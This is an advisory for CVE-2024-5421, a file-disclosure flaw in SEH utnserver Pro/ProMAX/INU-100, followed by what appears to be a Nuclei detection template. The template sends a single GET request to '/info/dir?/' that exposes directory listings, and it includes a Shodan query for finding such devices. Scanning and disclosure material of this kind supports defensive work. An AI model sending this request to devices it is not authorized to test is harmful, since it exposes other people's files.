A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.
PoC代码[已公开]
id: CVE-2024-5421
info:
name: SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure
author: bl4ckp4r4d1s3
severity: high
description: |
A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.
reference:
- https://cyberdanube.com/en/en-multiple-vulnerabilities-in-seh-untserver-pro/index.html
- https://seclists.org/fulldisclosure/2024/Jun/4
- https://nvd.nist.gov/vuln/detail/CVE-2024-5421
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L
cvss-score: 8.7
cve-id: CVE-2024-5421
cwe-id: CWE-78
epss-score: 0.12169
epss-percentile: 0.93591
metadata:
verified: true
max-request: 1
shodan-query: "SEH HTTP Server"
tags: cve,cve2024,utnserver,seh,exposure
http:
- method: GET
path:
- "{{BaseURL}}/info/dir?/"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "/var/tmp</td>"
- "File System Info"
- 'face="courier'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100945492ffedbb5a1bd21b338f51e41b1e2367d3d506a749ba97739c6d24bf63ff02210080de0bf9209a28040c16fe037c8d5a0db66660cf354d7a64679dd9595dc749eb:922c64590222798bb761d5b6d8e72950